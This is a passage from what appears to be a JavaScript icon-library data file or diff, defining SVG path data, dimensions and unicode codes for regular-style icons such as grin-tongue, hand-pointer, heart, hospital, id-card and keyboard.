5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zM240 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z" ], + "grin-tongue": [ 496, 512, [], "f589", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zM168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" ], + "grin-tongue-squint": [ 496, 512, [], "f58a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zm36.9-281.1c-3.8-4.4-10.3-5.5-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zm-162.9 45.5l-80-48c-5-3-11.4-2-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3z" ], + "grin-tongue-wink": [ 496, 512, [], "f58b", "M152 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm176-52c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3z" ], + "grin-wink": [ 496, 512, [], "f58c", "M328 180c-25.69 0-55.88 16.92-59.86 42.12-1.75 11.22 11.5 18.24 19.83 10.84l9.55-8.48c14.81-13.19 46.16-13.19 60.97 0l9.55 8.48c8.48 7.43 21.56.25 19.83-10.84C383.88 196.92 353.69 180 328 180zm-160 60c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm185.55 64.64c-25.93 8.3-64.4 13.06-105.55 13.06s-79.62-4.75-105.55-13.06c-9.94-3.13-19.4 5.37-17.71 15.34C132.67 367.13 196.06 400 248 400s115.33-32.87 123.26-80.02c1.68-9.89-7.67-18.48-17.71-15.34zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z" ], + "hand-lizard": [ 576, 512, [], "f258", "M556.686 290.542L410.328 64.829C397.001 44.272 374.417 32 349.917 32H56C25.121 32 0 57.122 0 88v8c0 44.112 35.888 80 80 80h196.042l-18.333 48H144c-48.523 0-88 39.477-88 88 0 30.879 25.121 56 56 56h131.552c2.987 0 5.914.549 8.697 1.631L352 408.418V480h224V355.829c0-23.225-6.679-45.801-19.314-65.287zM528 432H400v-23.582c0-19.948-12.014-37.508-30.604-44.736l-99.751-38.788A71.733 71.733 0 0 0 243.552 320H112c-4.411 0-8-3.589-8-8 0-22.056 17.944-40 40-40h113.709c19.767 0 37.786-12.407 44.84-30.873l24.552-64.281c8.996-23.553-8.428-48.846-33.63-48.846H80c-17.645 0-32-14.355-32-32v-8c0-4.411 3.589-8 8-8h293.917c8.166 0 15.693 4.09 20.137 10.942l146.358 225.715A71.84 71.84 0 0 1 528 355.829V432z" ], + "hand-paper": [ 448, 512, [], "f256", "M372.57 112.641v-10.825c0-43.612-40.52-76.691-83.039-65.546-25.629-49.5-94.09-47.45-117.982.747C130.269 26.456 89.144 57.945 89.144 102v126.13c-19.953-7.427-43.308-5.068-62.083 8.871-29.355 21.796-35.794 63.333-14.55 93.153L132.48 498.569a32 32 0 0 0 26.062 13.432h222.897c14.904 0 27.835-10.289 31.182-24.813l30.184-130.958A203.637 203.637 0 0 0 448 310.564V179c0-40.62-35.523-71.992-75.43-66.359zm27.427 197.922c0 11.731-1.334 23.469-3.965 34.886L368.707 464h-201.92L51.591 302.303c-14.439-20.27 15.023-42.776 29.394-22.605l27.128 38.079c8.995 12.626 29.031 6.287 29.031-9.283V102c0-25.645 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V67c0-25.663 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V101.125c0-25.672 36.57-24.81 36.57.691V256c0 8.837 7.163 16 16 16h6.857c8.837 0 16-7.163 16-16v-76.309c0-26.242 36.57-25.64 36.57-.691v131.563z" ], + "hand-peace": [ 448, 512, [], "f25b", "M362.146 191.976c-13.71-21.649-38.761-34.016-65.006-30.341V74c0-40.804-32.811-74-73.141-74-40.33 0-73.14 33.196-73.14 74L160 168l-18.679-78.85C126.578 50.843 83.85 32.11 46.209 47.208 8.735 62.238-9.571 104.963 5.008 142.85l55.757 144.927c-30.557 24.956-43.994 57.809-24.733 92.218l54.853 97.999C102.625 498.97 124.73 512 148.575 512h205.702c30.744 0 57.558-21.44 64.555-51.797l27.427-118.999a67.801 67.801 0 0 0 1.729-15.203L448 256c0-44.956-43.263-77.343-85.854-64.024zM399.987 326c0 1.488-.169 2.977-.502 4.423l-27.427 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H148.575c-6.486 0-12.542-3.621-15.805-9.449l-54.854-98c-4.557-8.141-2.619-18.668 4.508-24.488l26.647-21.764a16 16 0 0 0 4.812-18.139l-64.09-166.549C37.226 92.956 84.37 74.837 96.51 106.389l59.784 155.357A16 16 0 0 0 171.227 272h11.632c8.837 0 16-7.163 16-16V74c0-34.375 50.281-34.43 50.281 0v182c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16v-28c0-25.122 36.567-25.159 36.567 0v28c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16 0-25.12 36.567-25.16 36.567 0v70z" ], + "hand-point-down": [ 448, 512, [], "f0a7", "M188.8 512c45.616 0 83.2-37.765 83.2-83.2v-35.647a93.148 93.148 0 0 0 22.064-7.929c22.006 2.507 44.978-3.503 62.791-15.985C409.342 368.1 448 331.841 448 269.299V248c0-60.063-40-98.512-40-127.2v-2.679c4.952-5.747 8-13.536 8-22.12V32c0-17.673-12.894-32-28.8-32H156.8C140.894 0 128 14.327 128 32v64c0 8.584 3.048 16.373 8 22.12v2.679c0 6.964-6.193 14.862-23.668 30.183l-.148.129-.146.131c-9.937 8.856-20.841 18.116-33.253 25.851C48.537 195.798 0 207.486 0 252.8c0 56.928 35.286 92 83.2 92 8.026 0 15.489-.814 22.4-2.176V428.8c0 45.099 38.101 83.2 83.2 83.2zm0-48c-18.7 0-35.2-16.775-35.2-35.2V270.4c-17.325 0-35.2 26.4-70.4 26.4-26.4 0-35.2-20.625-35.2-44 0-8.794 32.712-20.445 56.1-34.926 14.575-9.074 27.225-19.524 39.875-30.799 18.374-16.109 36.633-33.836 39.596-59.075h176.752C364.087 170.79 400 202.509 400 248v21.299c0 40.524-22.197 57.124-61.325 50.601-8.001 14.612-33.979 24.151-53.625 12.925-18.225 19.365-46.381 17.787-61.05 4.95V428.8c0 18.975-16.225 35.2-35.2 35.2zM328 64c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24z" ], + "hand-point-left": [ 512, 512, [], "f0a5", "M0 220.8C0 266.416 37.765 304 83.2 304h35.647a93.148 93.148 0 0 0 7.929 22.064c-2.507 22.006 3.503 44.978 15.985 62.791C143.9 441.342 180.159 480 242.701 480H264c60.063 0 98.512-40 127.2-40h2.679c5.747 4.952 13.536 8 22.12 8h64c17.673 0 32-12.894 32-28.8V188.8c0-15.906-14.327-28.8-32-28.8h-64c-8.584 0-16.373 3.048-22.12 8H391.2c-6.964 0-14.862-6.193-30.183-23.668l-.129-.148-.131-.146c-8.856-9.937-18.116-20.841-25.851-33.253C316.202 80.537 304.514 32 259.2 32c-56.928 0-92 35.286-92 83.2 0 8.026.814 15.489 2.176 22.4H83.2C38.101 137.6 0 175.701 0 220.8zm48 0c0-18.7 16.775-35.2 35.2-35.2h158.4c0-17.325-26.4-35.2-26.4-70.4 0-26.4 20.625-35.2 44-35.2 8.794 0 20.445 32.712 34.926 56.1 9.074 14.575 19.524 27.225 30.799 39.875 16.109 18.374 33.836 36.633 59.075 39.596v176.752C341.21 396.087 309.491 432 264 432h-21.299c-40.524 0-57.124-22.197-50.601-61.325-14.612-8.001-24.151-33.979-12.925-53.625-19.365-18.225-17.787-46.381-4.95-61.05H83.2C64.225 256 48 239.775 48 220.8zM448 360c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z" ], + "hand-point-right": [ 512, 512, [], "f0a4", "M428.8 137.6h-86.177a115.52 115.52 0 0 0 2.176-22.4c0-47.914-35.072-83.2-92-83.2-45.314 0-57.002 48.537-75.707 78.784-7.735 12.413-16.994 23.317-25.851 33.253l-.131.146-.129.148C135.662 161.807 127.764 168 120.8 168h-2.679c-5.747-4.952-13.536-8-22.12-8H32c-17.673 0-32 12.894-32 28.8v230.4C0 435.106 14.327 448 32 448h64c8.584 0 16.373-3.048 22.12-8h2.679c28.688 0 67.137 40 127.2 40h21.299c62.542 0 98.8-38.658 99.94-91.145 12.482-17.813 18.491-40.785 15.985-62.791A93.148 93.148 0 0 0 393.152 304H428.8c45.435 0 83.2-37.584 83.2-83.2 0-45.099-38.101-83.2-83.2-83.2zm0 118.4h-91.026c12.837 14.669 14.415 42.825-4.95 61.05 11.227 19.646 1.687 45.624-12.925 53.625 6.524 39.128-10.076 61.325-50.6 61.325H248c-45.491 0-77.21-35.913-120-39.676V215.571c25.239-2.964 42.966-21.222 59.075-39.596 11.275-12.65 21.725-25.3 30.799-39.875C232.355 112.712 244.006 80 252.8 80c23.375 0 44 8.8 44 35.2 0 35.2-26.4 53.075-26.4 70.4h158.4c18.425 0 35.2 16.5 35.2 35.2 0 18.975-16.225 35.2-35.2 35.2zM88 384c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z" ], + "hand-point-up": [ 448, 512, [], "f0a6", "M105.6 83.2v86.177a115.52 115.52 0 0 0-22.4-2.176c-47.914 0-83.2 35.072-83.2 92 0 45.314 48.537 57.002 78.784 75.707 12.413 7.735 23.317 16.994 33.253 25.851l.146.131.148.129C129.807 376.338 136 384.236 136 391.2v2.679c-4.952 5.747-8 13.536-8 22.12v64c0 17.673 12.894 32 28.8 32h230.4c15.906 0 28.8-14.327 28.8-32v-64c0-8.584-3.048-16.373-8-22.12V391.2c0-28.688 40-67.137 40-127.2v-21.299c0-62.542-38.658-98.8-91.145-99.94-17.813-12.482-40.785-18.491-62.791-15.985A93.148 93.148 0 0 0 272 118.847V83.2C272 37.765 234.416 0 188.8 0c-45.099 0-83.2 38.101-83.2 83.2zm118.4 0v91.026c14.669-12.837 42.825-14.415 61.05 4.95 19.646-11.227 45.624-1.687 53.625 12.925 39.128-6.524 61.325 10.076 61.325 50.6V264c0 45.491-35.913 77.21-39.676 120H183.571c-2.964-25.239-21.222-42.966-39.596-59.075-12.65-11.275-25.3-21.725-39.875-30.799C80.712 279.645 48 267.994 48 259.2c0-23.375 8.8-44 35.2-44 35.2 0 53.075 26.4 70.4 26.4V83.2c0-18.425 16.5-35.2 35.2-35.2 18.975 0 35.2 16.225 35.2 35.2zM352 424c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z" ], + "hand-pointer": [ 448, 512, [], "f25a", "M358.182 179.361c-19.493-24.768-52.679-31.945-79.872-19.098-15.127-15.687-36.182-22.487-56.595-19.629V67c0-36.944-29.736-67-66.286-67S89.143 30.056 89.143 67v161.129c-19.909-7.41-43.272-5.094-62.083 8.872-29.355 21.795-35.793 63.333-14.55 93.152l109.699 154.001C134.632 501.59 154.741 512 176 512h178.286c30.802 0 57.574-21.5 64.557-51.797l27.429-118.999A67.873 67.873 0 0 0 448 326v-84c0-46.844-46.625-79.273-89.818-62.639zM80.985 279.697l27.126 38.079c8.995 12.626 29.031 6.287 29.031-9.283V67c0-25.12 36.571-25.16 36.571 0v175c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16v-35c0-25.12 36.571-25.16 36.571 0v35c0 8.836 7.163 16 16 16H272c8.837 0 16-7.164 16-16v-21c0-25.12 36.571-25.16 36.571 0v21c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16 0-25.121 36.571-25.16 36.571 0v84c0 1.488-.169 2.977-.502 4.423l-27.43 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H176c-5.769 0-11.263-2.878-14.697-7.697l-109.712-154c-14.406-20.223 14.994-42.818 29.394-22.606zM176.143 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.733 0-14-7.163-14-16zm75.428 0v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16zM327 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16z" ], + "hand-rock": [ 512, 512, [], "f255", "M408.864 79.052c-22.401-33.898-66.108-42.273-98.813-23.588-29.474-31.469-79.145-31.093-108.334-.022-47.16-27.02-108.71 5.055-110.671 60.806C44.846 105.407 0 140.001 0 187.429v56.953c0 32.741 14.28 63.954 39.18 85.634l97.71 85.081c4.252 3.702 3.11 5.573 3.11 32.903 0 17.673 14.327 32 32 32h252c17.673 0 32-14.327 32-32 0-23.513-1.015-30.745 3.982-42.37l42.835-99.656c6.094-14.177 9.183-29.172 9.183-44.568V146.963c0-52.839-54.314-88.662-103.136-67.911zM464 261.406a64.505 64.505 0 0 1-5.282 25.613l-42.835 99.655c-5.23 12.171-7.883 25.04-7.883 38.25V432H188v-10.286c0-16.37-7.14-31.977-19.59-42.817l-97.71-85.08C56.274 281.255 48 263.236 48 244.381v-56.953c0-33.208 52-33.537 52 .677v41.228a16 16 0 0 0 5.493 12.067l7 6.095A16 16 0 0 0 139 235.429V118.857c0-33.097 52-33.725 52 .677v26.751c0 8.836 7.164 16 16 16h7c8.836 0 16-7.164 16-16v-41.143c0-33.134 52-33.675 52 .677v40.466c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16v-27.429c0-33.03 52-33.78 52 .677v26.751c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16 0-33.146 52-33.613 52 .677v114.445z" ], + "hand-scissors": [ 512, 512, [], "f257", "M256 480l70-.013c5.114 0 10.231-.583 15.203-1.729l118.999-27.427C490.56 443.835 512 417.02 512 386.277V180.575c0-23.845-13.03-45.951-34.005-57.69l-97.999-54.853c-34.409-19.261-67.263-5.824-92.218 24.733L142.85 37.008c-37.887-14.579-80.612 3.727-95.642 41.201-15.098 37.642 3.635 80.37 41.942 95.112L168 192l-94-9.141c-40.804 0-74 32.811-74 73.14 0 40.33 33.196 73.141 74 73.141h87.635c-3.675 26.245 8.692 51.297 30.341 65.006C178.657 436.737 211.044 480 256 480zm0-48.013c-25.16 0-25.12-36.567 0-36.567 8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16h-28c-25.159 0-25.122-36.567 0-36.567h28c8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16H74c-34.43 0-34.375-50.281 0-50.281h182c8.837 0 16-7.163 16-16v-11.632a16 16 0 0 0-10.254-14.933L106.389 128.51c-31.552-12.14-13.432-59.283 19.222-46.717l166.549 64.091a16.001 16.001 0 0 0 18.139-4.812l21.764-26.647c5.82-7.127 16.348-9.064 24.488-4.508l98 54.854c5.828 3.263 9.449 9.318 9.449 15.805v205.701c0 8.491-5.994 15.804-14.576 17.782l-119.001 27.427a19.743 19.743 0 0 1-4.423.502h-70z" ], + "hand-spock": [ 512, 512, [], "f259", "M501.03053,116.17605c-19.39059-31.50779-51.24406-35.72849-66.31044-35.01756-14.11325-50.81051-62.0038-54.08-70.73816-54.08a74.03091,74.03091,0,0,0-72.23816,58.916l-4.64648,22.66014-13.68357-53.207c-9.09569-35.37107-46.412-64.05074-89.66-53.07223a73.89749,73.89749,0,0,0-55.121,78.94722,73.68273,73.68273,0,0,0-64.8495,94.42181l24.35933,82.19721c-38.24017-7.54492-62.79677,16.18358-68.11512,21.84764a73.6791,73.6791,0,0,0,3.19921,104.19329l91.36509,85.9765A154.164,154.164,0,0,0,220.62279,512h107.4549A127.30079,127.30079,0,0,0,452.3392,413.86139l57.623-241.96272A73.20274,73.20274,0,0,0,501.03053,116.17605Zm-37.7597,44.60544L405.64788,402.74812a79.46616,79.46616,0,0,1-77.57019,61.25972H220.62279a106.34052,106.34052,0,0,1-73.1366-28.998l-91.369-85.98041C31.34381,325.72669,66.61133,288.131,91.39644,311.5392l51.123,48.10739c5.42577,5.10937,13.48239.71679,13.48239-5.82617a246.79914,246.79914,0,0,0-10.17771-70.1523l-36.01362-121.539c-9.7324-32.88279,39.69916-47.27145,49.38664-14.625l31.3437,105.77923c5.59374,18.90428,33.78119,10.71288,28.9648-8.00781L177.06427,80.23662c-8.50389-33.1035,41.43157-45.64646,49.86515-12.83593l47.32609,184.035c4.42773,17.24218,29.16207,16.5039,32.71089-.80468l31.791-154.9706c6.81054-33.1074,57.51748-24.10741,50.11906,11.96288L360.32764,246.78924c-3.72265,18.10936,23.66793,24.63084,28.05659,6.21679L413.185,148.85962C421.1498,115.512,471.14,127.79713,463.27083,160.78149Z" ], + handshake: [ 640, 512, [], "f2b5", "M519.2 127.9l-47.6-47.6A56.252 56.252 0 0 0 432 64H205.2c-14.8 0-29.1 5.9-39.6 16.3L118 127.9H0v255.7h64c17.6 0 31.8-14.2 31.9-31.7h9.1l84.6 76.4c30.9 25.1 73.8 25.7 105.6 3.8 12.5 10.8 26 15.9 41.1 15.9 18.2 0 35.3-7.4 48.8-24 22.1 8.7 48.2 2.6 64-16.8l26.2-32.3c5.6-6.9 9.1-14.8 10.9-23h57.9c.1 17.5 14.4 31.7 31.9 31.7h64V127.9H519.2zM48 351.6c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16zm390-6.9l-26.1 32.2c-2.8 3.4-7.8 4-11.3 1.2l-23.9-19.4-30 36.5c-6 7.3-15 4.8-18 2.4l-36.8-31.5-15.6 19.2c-13.9 17.1-39.2 19.7-55.3 6.6l-97.3-88H96V175.8h41.9l61.7-61.6c2-.8 3.7-1.5 5.7-2.3H262l-38.7 35.5c-29.4 26.9-31.1 72.3-4.4 101.3 14.8 16.2 61.2 41.2 101.5 4.4l8.2-7.5 108.2 87.8c3.4 2.8 3.9 7.9 1.2 11.3zm106-40.8h-69.2c-2.3-2.8-4.9-5.4-7.7-7.7l-102.7-83.4 12.5-11.4c6.5-6 7-16.1 1-22.6L367 167.1c-6-6.5-16.1-6.9-22.6-1l-55.2 50.6c-9.5 8.7-25.7 9.4-34.6 0-9.3-9.9-8.5-25.1 1.2-33.9l65.6-60.1c7.4-6.8 17-10.5 27-10.5l83.7-.2c2.1 0 4.1.8 5.5 2.3l61.7 61.6H544v128zm48 47.7c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16z" ], + hdd: [ 576, 512, [], "f0a0", "M567.403 235.642L462.323 84.589A48 48 0 0 0 422.919 64H153.081a48 48 0 0 0-39.404 20.589L8.597 235.642A48.001 48.001 0 0 0 0 263.054V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V263.054c0-9.801-3-19.366-8.597-27.412zM153.081 112h269.838l77.913 112H75.168l77.913-112zM528 400H48V272h480v128zm-32-64c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32zm-96 0c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32z" ], + heart: [ 512, 512, [], "f004", "M458.4 64.3C400.6 15.7 311.3 23 256 79.3 200.7 23 111.4 15.6 53.6 64.3-21.6 127.6-10.6 230.8 43 285.5l175.4 178.7c10 10.2 23.4 15.9 37.6 15.9 14.3 0 27.6-5.6 37.6-15.8L469 285.6c53.5-54.7 64.7-157.9-10.6-221.3zm-23.6 187.5L259.4 430.5c-2.4 2.4-4.4 2.4-6.8 0L77.2 251.8c-36.5-37.2-43.9-107.6 7.3-150.7 38.9-32.7 98.9-27.8 136.5 10.5l35 35.7 35-35.7c37.8-38.5 97.8-43.2 136.5-10.6 51.1 43.1 43.5 113.9 7.3 150.8z" ], + hospital: [ 448, 512, [], "f0f8", "M128 244v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12zm140 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm-76 84v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm76 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm180 124v36H0v-36c0-6.627 5.373-12 12-12h19.5V85.035C31.5 73.418 42.245 64 55.5 64H144V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v40h88.5c13.255 0 24 9.418 24 21.035V464H436c6.627 0 12 5.373 12 12zM79.5 463H192v-67c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v67h112.5V112H304v24c0 13.255-10.745 24-24 24H168c-13.255 0-24-10.745-24-24v-24H79.5v351zM266 64h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6z" ], + hourglass: [ 384, 512, [], "f254", "M368 48h4c6.627 0 12-5.373 12-12V12c0-6.627-5.373-12-12-12H12C5.373 0 0 5.373 0 12v24c0 6.627 5.373 12 12 12h4c0 80.564 32.188 165.807 97.18 208C47.899 298.381 16 383.9 16 464h-4c-6.627 0-12 5.373-12 12v24c0 6.627 5.373 12 12 12h360c6.627 0 12-5.373 12-12v-24c0-6.627-5.373-12-12-12h-4c0-80.564-32.188-165.807-97.18-208C336.102 213.619 368 128.1 368 48zM64 48h256c0 101.62-57.307 184-128 184S64 149.621 64 48zm256 416H64c0-101.62 57.308-184 128-184s128 82.38 128 184z" ], + "id-badge": [ 384, 512, [], "f2c1", "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm0 464H48V48h288v416zM144 112h96c8.8 0 16-7.2 16-16s-7.2-16-16-16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16zm48 176c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z" ], + "id-card": [ 576, 512, [], "f2c2", "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H303.2c.9-4.5.8 3.6.8-22.4 0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6 0 26-.2 17.9.8 22.4H48V144h480v288zm-168-80h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm-168 96c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z" ], + image: [ 512, 512, [], "f03e", "M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 336H54a6 6 0 0 1-6-6V118a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v276a6 6 0 0 1-6 6zM128 152c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zM96 352h320v-80l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L192 304l-39.515-39.515c-4.686-4.686-12.284-4.686-16.971 0L96 304v48z" ], + images: [ 576, 512, [], "f302", "M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v48H54a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6v-10h48zm42-336H150a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6V86a6 6 0 0 0-6-6zm6-48c26.51 0 48 21.49 48 48v256c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h384zM264 144c0 22.091-17.909 40-40 40s-40-17.909-40-40 17.909-40 40-40 40 17.909 40 40zm-72 96l39.515-39.515c4.686-4.686 12.284-4.686 16.971 0L288 240l103.515-103.515c4.686-4.686 12.284-4.686 16.971 0L480 208v80H192v-48z" ], + keyboard: [ 576, 512, [], "f11c", "M528 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 